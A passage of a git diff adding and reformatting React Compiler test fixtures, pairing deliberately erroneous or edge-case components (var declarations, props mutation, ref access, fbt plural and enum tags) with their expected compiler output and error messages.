+ * Fault tolerance test: two independent errors should both be reported.
+ *
+ * Error 1 (BuildHIR): `var` declarations are not supported (treated as `let`)
+ * Error 2 (InferMutationAliasingEffects): Mutation of frozen props
+ */
+function Component(props) {
+  // Error: var declaration (Todo from BuildHIR)
+  var items = props.items;
+
+  // Error: mutating frozen props (detected during inference)
+  props.items = [];
+
+  return <div>{items.length}</div>;
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Todo: (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration
+
+error.var-declaration-and-mutation-of-props.ts:9:2
+   7 | function Component(props) {
+   8 |   // Error: var declaration (Todo from BuildHIR)
+>  9 |   var items = props.items;
+     |   ^^^^^^^^^^^^^^^^^^^^^^^^ (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration
+  10 |
+  11 |   // Error: mutating frozen props (detected during inference)
+  12 |   props.items = [];
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.var-declaration-and-mutation-of-props.ts:12:2
+  10 |
+  11 |   // Error: mutating frozen props (detected during inference)
+> 12 |   props.items = [];
+     |   ^^^^^ value cannot be modified
+  13 |
+  14 |   return <div>{items.length}</div>;
+  15 | }
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.var-declaration-and-mutation-of-props.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.var-declaration-and-mutation-of-props.js
new file mode 100644
index 000000000000..c0fd6a34fb8f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.var-declaration-and-mutation-of-props.js
@@ -0,0 +1,15 @@
+/**
+ * Fault tolerance test: two independent errors should both be reported.
+ *
+ * Error 1 (BuildHIR): `var` declarations are not supported (treated as `let`)
+ * Error 2 (InferMutationAliasingEffects): Mutation of frozen props
+ */
+function Component(props) {
+  // Error: var declaration (Todo from BuildHIR)
+  var items = props.items;
+
+  // Error: mutating frozen props (detected during inference)
+  props.items = [];
+
+  return <div>{items.length}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.var-declaration-and-ref-access.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.var-declaration-and-ref-access.expect.md
new file mode 100644
index 000000000000..c86e6ffe6ab6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.var-declaration-and-ref-access.expect.md
@@ -0,0 +1,62 @@
+
+## Input
+
+```javascript
+// @validateRefAccessDuringRender
+/**
+ * Fault tolerance test: two independent errors should both be reported.
+ *
+ * Error 1 (BuildHIR): `var` declarations are not supported (treated as `let`)
+ * Error 2 (ValidateNoRefAccessInRender): reading ref.current during render
+ */
+function Component() {
+  const ref = useRef(null);
+
+  // Error: var declaration (Todo from BuildHIR)
+  var items = [1, 2, 3];
+
+  // Error: reading ref during render
+  const value = ref.current;
+
+  return (
+    <div>
+      {value}
+      {items.length}
+    </div>
+  );
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Todo: (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration
+
+error.var-declaration-and-ref-access.ts:12:2
+  10 |
+  11 |   // Error: var declaration (Todo from BuildHIR)
+> 12 |   var items = [1, 2, 3];
+     |   ^^^^^^^^^^^^^^^^^^^^^^ (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration
+  13 |
+  14 |   // Error: reading ref during render
+  15 |   const value = ref.current;
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.var-declaration-and-ref-access.ts:15:16
+  13 |
+  14 |   // Error: reading ref during render
+> 15 |   const value = ref.current;
+     |                 ^^^^^^^^^^^ Cannot access ref value during render
+  16 |
+  17 |   return (
+  18 |     <div>
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.var-declaration-and-ref-access.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.var-declaration-and-ref-access.js
new file mode 100644
index 000000000000..60a14ecec3d9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fault-tolerance/error.var-declaration-and-ref-access.js
@@ -0,0 +1,23 @@
+// @validateRefAccessDuringRender
+/**
+ * Fault tolerance test: two independent errors should both be reported.
+ *
+ * Error 1 (BuildHIR): `var` declarations are not supported (treated as `let`)
+ * Error 2 (ValidateNoRefAccessInRender): reading ref.current during render
+ */
+function Component() {
+  const ref = useRef(null);
+
+  // Error: var declaration (Todo from BuildHIR)
+  var items = [1, 2, 3];
+
+  // Error: reading ref during render
+  const value = ref.current;
+
+  return (
+    <div>
+      {value}
+      {items.length}
+    </div>
+  );
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/bug-fbt-plural-multiple-function-calls.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/bug-fbt-plural-multiple-function-calls.expect.md
new file mode 100644
index 000000000000..f4a416a50365
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/bug-fbt-plural-multiple-function-calls.expect.md
@@ -0,0 +1,88 @@
+
+## Input
+
+```javascript
+// @enablePreserveExistingMemoizationGuarantees:false
+import fbt from 'fbt';
+
+/**
+ * Similar to error.todo-multiple-fbt-plural
+ *
+ * Evaluator error:
+ *   Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok) <div>1 apple and 2 bananas</div>
+ *   Forget:
+ *   (kind: ok) <div>1 apples and 2 bananas</div>
+ */
+
+function useFoo({apples, bananas}) {
+  return fbt(
+    `${fbt.param('number of apples', apples)} ` +
+      fbt.plural('apple', apples) +
+      ` and ${fbt.param('number of bananas', bananas)} ` +
+      fbt.plural('banana', bananas),
+    'TestDescription',
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{apples: 1, bananas: 2}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false
+import fbt from "fbt";
+
+/**
+ * Similar to error.todo-multiple-fbt-plural
+ *
+ * Evaluator error:
+ *   Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok) <div>1 apple and 2 bananas</div>
+ *   Forget:
+ *   (kind: ok) <div>1 apples and 2 bananas</div>
+ */
+
+function useFoo(t0) {
+  const $ = _c(3);
+  const { apples, bananas } = t0;
+  let t1;
+  if ($[0] !== apples || $[1] !== bananas) {
+    t1 = fbt._(
+      {
+        "*": {
+          "*": "{number of apples} apples and {number of bananas} bananas",
+        },
+        _1: { _1: "{number of apples} apple and {number of bananas} banana" },
+      },
+      [
+        fbt._plural(apples),
+        fbt._plural(bananas),
+        fbt._param("number of apples", apples),
+        fbt._param("number of bananas", bananas),
+      ],
+      { hk: "3vKunl" },
+    );
+    $[0] = apples;
+    $[1] = bananas;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ apples: 1, bananas: 2 }],
+};
+
+```
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/bug-fbt-plural-multiple-function-calls.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/bug-fbt-plural-multiple-function-calls.ts
new file mode 100644
index 000000000000..4ce2caadb9a9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/bug-fbt-plural-multiple-function-calls.ts
@@ -0,0 +1,28 @@
+// @enablePreserveExistingMemoizationGuarantees:false
+import fbt from 'fbt';
+
+/**
+ * Similar to error.todo-multiple-fbt-plural
+ *
+ * Evaluator error:
+ *   Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok) <div>1 apple and 2 bananas</div>
+ *   Forget:
+ *   (kind: ok) <div>1 apples and 2 bananas</div>
+ */
+
+function useFoo({apples, bananas}) {
+  return fbt(
+    `${fbt.param('number of apples', apples)} ` +
+      fbt.plural('apple', apples) +
+      ` and ${fbt.param('number of bananas', bananas)} ` +
+      fbt.plural('banana', bananas),
+    'TestDescription',
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{apples: 1, bananas: 2}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/bug-fbt-plural-multiple-mixed-call-tag.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/bug-fbt-plural-multiple-mixed-call-tag.expect.md
new file mode 100644
index 000000000000..21b0dd24868f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/bug-fbt-plural-multiple-mixed-call-tag.expect.md
@@ -0,0 +1,98 @@
+
+## Input
+
+```javascript
+import fbt from 'fbt';
+
+/**
+ * Similar to error.todo-multiple-fbt-plural, but note that we must
+ * count fbt plurals across both <fbt:plural /> namespaced jsx tags
+ * and fbt.plural(...) call expressions.
+ *
+ * Evaluator error:
+ *   Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok) <div>1 apple and 2 bananas</div>
+ *   Forget:
+ *   (kind: ok) <div>1 apples and 2 bananas</div>
+ */
+function useFoo({apples, bananas}) {
+  return (
+    <div>
+      <fbt desc="Test Description">
+        {fbt.param('number of apples', apples)}
+        {'  '}
+        {fbt.plural('apple', apples)} and
+        {'  '}
+        <fbt:plural name={'number of bananas'} count={bananas} showCount="yes">
+          banana
+        </fbt:plural>
+      </fbt>
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{apples: 1, bananas: 2}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import fbt from "fbt";
+
+/**
+ * Similar to error.todo-multiple-fbt-plural, but note that we must
+ * count fbt plurals across both <fbt:plural /> namespaced jsx tags
+ * and fbt.plural(...) call expressions.
+ *
+ * Evaluator error:
+ *   Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok) <div>1 apple and 2 bananas</div>
+ *   Forget:
+ *   (kind: ok) <div>1 apples and 2 bananas</div>
+ */
+function useFoo(t0) {
+  const $ = _c(3);
+  const { apples, bananas } = t0;
+  let t1;
+  if ($[0] !== apples || $[1] !== bananas) {
+    t1 = (
+      <div>
+        {fbt._(
+          {
+            "*": {
+              "*": "{number of apples} apples and {number of bananas} bananas",
+            },
+            _1: { _1: "{number of apples} apple and 1 banana" },
+          },
+          [
+            fbt._plural(apples),
+            fbt._plural(bananas, "number of bananas"),
+            fbt._param("number of apples", apples),
+          ],
+          { hk: "2xXrUW" },
+        )}
+      </div>
+    );
+    $[0] = apples;
+    $[1] = bananas;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ apples: 1, bananas: 2 }],
+};
+
+```
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/bug-fbt-plural-multiple-mixed-call-tag.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/bug-fbt-plural-multiple-mixed-call-tag.tsx
new file mode 100644
index 000000000000..fe18eeeb7b18
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/bug-fbt-plural-multiple-mixed-call-tag.tsx
@@ -0,0 +1,34 @@
+import fbt from 'fbt';
+
+/**
+ * Similar to error.todo-multiple-fbt-plural, but note that we must
+ * count fbt plurals across both <fbt:plural /> namespaced jsx tags
+ * and fbt.plural(...) call expressions.
+ *
+ * Evaluator error:
+ *   Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok) <div>1 apple and 2 bananas</div>
+ *   Forget:
+ *   (kind: ok) <div>1 apples and 2 bananas</div>
+ */
+function useFoo({apples, bananas}) {
+  return (
+    <div>
+      <fbt desc="Test Description">
+        {fbt.param('number of apples', apples)}
+        {'  '}
+        {fbt.plural('apple', apples)} and
+        {'  '}
+        <fbt:plural name={'number of bananas'} count={bananas} showCount="yes">
+          banana
+        </fbt:plural>
+      </fbt>
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{apples: 1, bananas: 2}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-fbt-as-local.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-fbt-as-local.expect.md
new file mode 100644
index 000000000000..c2cc0a19506c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-fbt-as-local.expect.md
@@ -0,0 +1,108 @@
+
+## Input
+
+```javascript
+import fbt from 'fbt';
+import {identity} from 'shared-runtime';
+
+/**
+ * Note that the fbt transform looks for callsites with a `fbt`-named callee.
+ * This is incompatible with react-compiler as we rename local variables in
+ * HIRBuilder + RenameVariables.
+ *
+ * See evaluator error:
+ *   Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok) <div>Hello, Sathya!Goodbye, Sathya!</div>
+ *   Forget:
+ *   (kind: exception) fbt$0.param is not a function
+ */
+
+function Foo(props) {
+  const getText1 = fbt =>
+    fbt(
+      `Hello, ${fbt.param('(key) name', identity(props.name))}!`,
+      '(description) Greeting'
+    );
+
+  const getText2 = fbt =>
+    fbt(
+      `Goodbye, ${fbt.param('(key) name', identity(props.name))}!`,
+      '(description) Greeting2'
+    );
+
+  return (
+    <div>
+      {getText1(fbt)}
+      {getText2(fbt)}
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{name: 'Sathya'}],
+};
+
+```
+
+
+## Error
+
+```
+Found 4 errors:
+
+Todo: Support local variables named `fbt`
+
+Local variables named `fbt` may conflict with the fbt plugin and are not yet supported.
+
+error.todo-fbt-as-local.ts:18:19
+  16 |
+  17 | function Foo(props) {
+> 18 |   const getText1 = fbt =>
+     |                    ^^^ Support local variables named `fbt`
+  19 |     fbt(
+  20 |       `Hello, ${fbt.param('(key) name', identity(props.name))}!`,
+  21 |       '(description) Greeting'
+
+Todo: Support local variables named `fbt`
+
+Local variables named `fbt` may conflict with the fbt plugin and are not yet supported.
+
+error.todo-fbt-as-local.ts:18:19
+  16 |
+  17 | function Foo(props) {
+> 18 |   const getText1 = fbt =>
+     |                    ^^^ Support local variables named `fbt`
+  19 |     fbt(
+  20 |       `Hello, ${fbt.param('(key) name', identity(props.name))}!`,
+  21 |       '(description) Greeting'
+
+Todo: Support local variables named `fbt`
+
+Local variables named `fbt` may conflict with the fbt plugin and are not yet supported.
+
+error.todo-fbt-as-local.ts:18:19
+  16 |
+  17 | function Foo(props) {
+> 18 |   const getText1 = fbt =>
+     |                    ^^^ Support local variables named `fbt`
+  19 |     fbt(
+  20 |       `Hello, ${fbt.param('(key) name', identity(props.name))}!`,
+  21 |       '(description) Greeting'
+
+Todo: Support local variables named `fbt`
+
+Local variables named `fbt` may conflict with the fbt plugin and are not yet supported.
+
+error.todo-fbt-as-local.ts:24:19
+  22 |     );
+  23 |
+> 24 |   const getText2 = fbt =>
+     |                    ^^^ Support local variables named `fbt`
+  25 |     fbt(
+  26 |       `Goodbye, ${fbt.param('(key) name', identity(props.name))}!`,
+  27 |       '(description) Greeting2'
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-fbt-as-local.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-fbt-as-local.js
new file mode 100644
index 000000000000..4c75c926557e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-fbt-as-local.js
@@ -0,0 +1,41 @@
+import fbt from 'fbt';
+import {identity} from 'shared-runtime';
+
+/**
+ * Note that the fbt transform looks for callsites with a `fbt`-named callee.
+ * This is incompatible with react-compiler as we rename local variables in
+ * HIRBuilder + RenameVariables.
+ *
+ * See evaluator error:
+ *   Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok) <div>Hello, Sathya!Goodbye, Sathya!</div>
+ *   Forget:
+ *   (kind: exception) fbt$0.param is not a function
+ */
+
+function Foo(props) {
+  const getText1 = fbt =>
+    fbt(
+      `Hello, ${fbt.param('(key) name', identity(props.name))}!`,
+      '(description) Greeting'
+    );
+
+  const getText2 = fbt =>
+    fbt(
+      `Goodbye, ${fbt.param('(key) name', identity(props.name))}!`,
+      '(description) Greeting2'
+    );
+
+  return (
+    <div>
+      {getText1(fbt)}
+      {getText2(fbt)}
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{name: 'Sathya'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-fbt-unknown-enum-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-fbt-unknown-enum-value.expect.md
index 49d01732a0b1..3999d17d5156 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-fbt-unknown-enum-value.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-fbt-unknown-enum-value.expect.md
@@ -2,13 +2,13 @@
 ## Input
 
 ```javascript
-import fbt from "fbt";
+import fbt from 'fbt';
 
-function Component({ a, b }) {
+function Component({a, b}) {
   return (
     <fbt desc="Description">
-      <fbt:enum enum-range={["avalue1", "avalue1"]} value={a} />{" "}
-      <fbt:enum enum-range={["bvalue1", "bvalue2"]} value={b} />
+      <fbt:enum enum-range={['avalue1', 'avalue1']} value={a} />{' '}
+      <fbt:enum enum-range={['bvalue1', 'bvalue2']} value={b} />
     </fbt>
   );
 }
@@ -19,10 +19,26 @@ function Component({ a, b }) {
 ## Error
 
 ```
+Found 1 error:
+
+Todo: Support duplicate fbt tags
+
+Support `<fbt>` tags with multiple `<fbt:enum>` values.
+
+error.todo-fbt-unknown-enum-value.ts:6:7
+  4 |   return (
+  5 |     <fbt desc="Description">
+> 6 |       <fbt:enum enum-range={['avalue1', 'avalue1']} value={a} />{' '}
+    |        ^^^^^^^^ Multiple `<fbt:enum>` tags found
+  7 |       <fbt:enum enum-range={['bvalue1', 'bvalue2']} value={b} />
+  8 |     </fbt>
+  9 |   );
+
+error.todo-fbt-unknown-enum-value.ts:7:7
    5 |     <fbt desc="Description">
-   6 |       <fbt:enum enum-range={["avalue1", "avalue1"]} value={a} />{" "}
->  7 |       <fbt:enum enum-range={["bvalue1", "bvalue2"]} value={b} />
-     |        ^^^^^^^^ Todo: Support <fbt> tags with multiple <fbt:enum> values (7:7)
+   6 |       <fbt:enum enum-range={['avalue1', 'avalue1']} value={a} />{' '}
+>  7 |       <fbt:enum enum-range={['bvalue1', 'bvalue2']} value={b} />
+     |        ^^^^^^^^ Multiple `<fbt:enum>` tags found
    8 |     </fbt>
    9 |   );
   10 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-fbt-unknown-enum-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-fbt-unknown-enum-value.js
index a496c5b96ed8..24d4ea8c0e65 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-fbt-unknown-enum-value.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-fbt-unknown-enum-value.js
@@ -1,10 +1,10 @@
-import fbt from "fbt";
+import fbt from 'fbt';
 
-function Component({ a, b }) {
+function Component({a, b}) {
   return (
     <fbt desc="Description">
-      <fbt:enum enum-range={["avalue1", "avalue1"]} value={a} />{" "}
-      <fbt:enum enum-range={["bvalue1", "bvalue2"]} value={b} />
+      <fbt:enum enum-range={['avalue1', 'avalue1']} value={a} />{' '}
+      <fbt:enum enum-range={['bvalue1', 'bvalue2']} value={b} />
     </fbt>
   );
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-locally-require-fbt.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-locally-require-fbt.expect.md
index 63e5a3ed905d..2847ad9d5a29 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-locally-require-fbt.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-locally-require-fbt.expect.md
@@ -3,9 +3,9 @@
 
 ```javascript
 function Component(props) {
-  const fbt = require("fbt");
+  const fbt = require('fbt');
 
-  return <fbt desc="Description">{"Text"}</fbt>;
+  return <fbt desc="Description">{'Text'}</fbt>;
 }
 
 ```
@@ -14,10 +14,15 @@ function Component(props) {
 ## Error
 
 ```
-  2 |   const fbt = require("fbt");
+Found 1 error:
+
+Invariant: <fbt> tags should be module-level imports
+
+error.todo-locally-require-fbt.ts:4:10
+  2 |   const fbt = require('fbt');
   3 |
-> 4 |   return <fbt desc="Description">{"Text"}</fbt>;
-    |           ^^^ Todo: Support <fbt> tags where 'fbt' is a local variable instead of a global (4:4)
+> 4 |   return <fbt desc="Description">{'Text'}</fbt>;
+    |           ^^^ <fbt> tags should be module-level imports
   5 | }
   6 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-locally-require-fbt.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-locally-require-fbt.js
index 626693eb11be..78883f938588 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-locally-require-fbt.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-locally-require-fbt.js
@@ -1,5 +1,5 @@
 function Component(props) {
-  const fbt = require("fbt");
+  const fbt = require('fbt');
 
-  return <fbt desc="Description">{"Text"}</fbt>;
+  return <fbt desc="Description">{'Text'}</fbt>;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-multiple-fbt-plural.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-multiple-fbt-plural.expect.md
new file mode 100644
index 000000000000..275f0ef0670e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-multiple-fbt-plural.expect.md
@@ -0,0 +1,81 @@
+
+## Input
+
+```javascript
+import fbt from 'fbt';
+
+/**
+ * Forget + fbt inconsistency. Evaluator errors with the following
+ *   Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok) 1 rewrite to Rust · 2 months traveling
+ *   Forget:
+ *   (kind: ok) 1 rewrites to Rust · 2 months traveling
+ *
+ * The root issue here is that fbt:plural/enum/pronoun read `.start` and `.end` from
+ * babel nodes to slice into source strings for some complex dedupe logic
+ * (see [_getStringVariationCombinations](https://github.com/facebook/fbt/blob/main/packages/babel-plugin-fbt/src/JSFbtBuilder.js#L297))
+ *
+ *
+ * Since Forget does not add `.start` and `.end` for babel nodes it synthesizes,
+ * [getRawSource](https://github.com/facebook/fbt/blob/main/packages/babel-plugin-fbt/src/FbtUtil.js#L666-L673)
+ * simply returns the whole source code string. As a result, all fbt nodes dedupe together
+ * and _getStringVariationCombinations ends up early exiting (before adding valid candidate values).
+ *
+ *
+ *
+ * For fbt:plural tags specifically, the `count` node require that a `.start/.end`
+ * (see [code in FbtPluralNode](https://github.com/facebook/fbt/blob/main/packages/babel-plugin-fbt/src/fbt-nodes/FbtPluralNode.js#L87-L90))
+ */
+function Foo({rewrites, months}) {
+  return (
+    <fbt desc="Test fbt description">
+      <fbt:plural count={rewrites} name="number of rewrites" showCount="yes">
+        rewrite
+      </fbt:plural>
+      to Rust ·
+      <fbt:plural count={months} name="number of months" showCount="yes">
+        month
+      </fbt:plural>
+      traveling
+    </fbt>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{rewrites: 1, months: 2}],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Todo: Support duplicate fbt tags
+
+Support `<fbt>` tags with multiple `<fbt:plural>` values.
+
+error.todo-multiple-fbt-plural.ts:29:7
+  27 |   return (
+  28 |     <fbt desc="Test fbt description">
+> 29 |       <fbt:plural count={rewrites} name="number of rewrites" showCount="yes">
+     |        ^^^^^^^^^^ Multiple `<fbt:plural>` tags found
+  30 |         rewrite
+  31 |       </fbt:plural>
+  32 |       to Rust ·
+
+error.todo-multiple-fbt-plural.ts:33:7
+  31 |       </fbt:plural>
+  32 |       to Rust ·
+> 33 |       <fbt:plural count={months} name="number of months" showCount="yes">
+     |        ^^^^^^^^^^ Multiple `<fbt:plural>` tags found
+  34 |         month
+  35 |       </fbt:plural>
+  36 |       traveling
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-multiple-fbt-plural.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-multiple-fbt-plural.tsx
new file mode 100644
index 000000000000..ef86a4f6cb72
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/error.todo-multiple-fbt-plural.tsx
@@ -0,0 +1,44 @@
+import fbt from 'fbt';
+
+/**
+ * Forget + fbt inconsistency. Evaluator errors with the following
+ *   Found differences in evaluator results
+ *   Non-forget (expected):
+ *   (kind: ok) 1 rewrite to Rust · 2 months traveling
+ *   Forget:
+ *   (kind: ok) 1 rewrites to Rust · 2 months traveling
+ *
+ * The root issue here is that fbt:plural/enum/pronoun read `.start` and `.end` from
+ * babel nodes to slice into source strings for some complex dedupe logic
+ * (see [_getStringVariationCombinations](https://github.com/facebook/fbt/blob/main/packages/babel-plugin-fbt/src/JSFbtBuilder.js#L297))
+ *
+ *
+ * Since Forget does not add `.start` and `.end` for babel nodes it synthesizes,
+ * [getRawSource](https://github.com/facebook/fbt/blob/main/packages/babel-plugin-fbt/src/FbtUtil.js#L666-L673)
+ * simply returns the whole source code string. As a result, all fbt nodes dedupe together
+ * and _getStringVariationCombinations ends up early exiting (before adding valid candidate values).
+ *
+ *
+ *
+ * For fbt:plural tags specifically, the `count` node require that a `.start/.end`
+ * (see [code in FbtPluralNode](https://github.com/facebook/fbt/blob/main/packages/babel-plugin-fbt/src/fbt-nodes/FbtPluralNode.js#L87-L90))
+ */
+function Foo({rewrites, months}) {
+  return (
+    <fbt desc="Test fbt description">
+      <fbt:plural count={rewrites} name="number of rewrites" showCount="yes">
+        rewrite
+      </fbt:plural>
+      to Rust ·
+      <fbt:plural count={months} name="number of months" showCount="yes">
+        month
+      </fbt:plural>
+      traveling
+    </fbt>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{rewrites: 1, months: 2}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbs-params.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbs-params.expect.md
index d2a4c665aff1..3334d26ec3e5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbs-params.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbs-params.expect.md
@@ -2,17 +2,16 @@
 ## Input
 
 ```javascript
-import { fbs } from "fbt";
+import {fbs} from 'fbt';
 
 function Component(props) {
   return (
     <div
       title={
-        <fbs desc={"Dialog to show to user"}>
+        <fbs desc={'Dialog to show to user'}>
           Hello <fbs:param name="user name">{props.name}</fbs:param>
         </fbs>
-      }
-    >
+      }>
       Hover me
     </div>
   );
@@ -20,7 +19,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ name: "Sathya" }],
+  params: [{name: 'Sathya'}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbs-params.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbs-params.js
index 7d5cb6f6be0e..13e080c10684 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbs-params.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/fbs-params.js
@@ -1,14 +1,13 @@
-import { fbs } from "fbt";
+import {fbs} from 'fbt';
 
 function Component(props) {
   return (
     <div
       title={
-        <fbs desc={"Dialog to show to user"}>
+        <fbs desc={'Dialog to show to user'}>
           Hello <fbs:param name="user name">{props.name}</fbs:param>
         </fbs>
-      }
-    >
+      }>
       Hover me
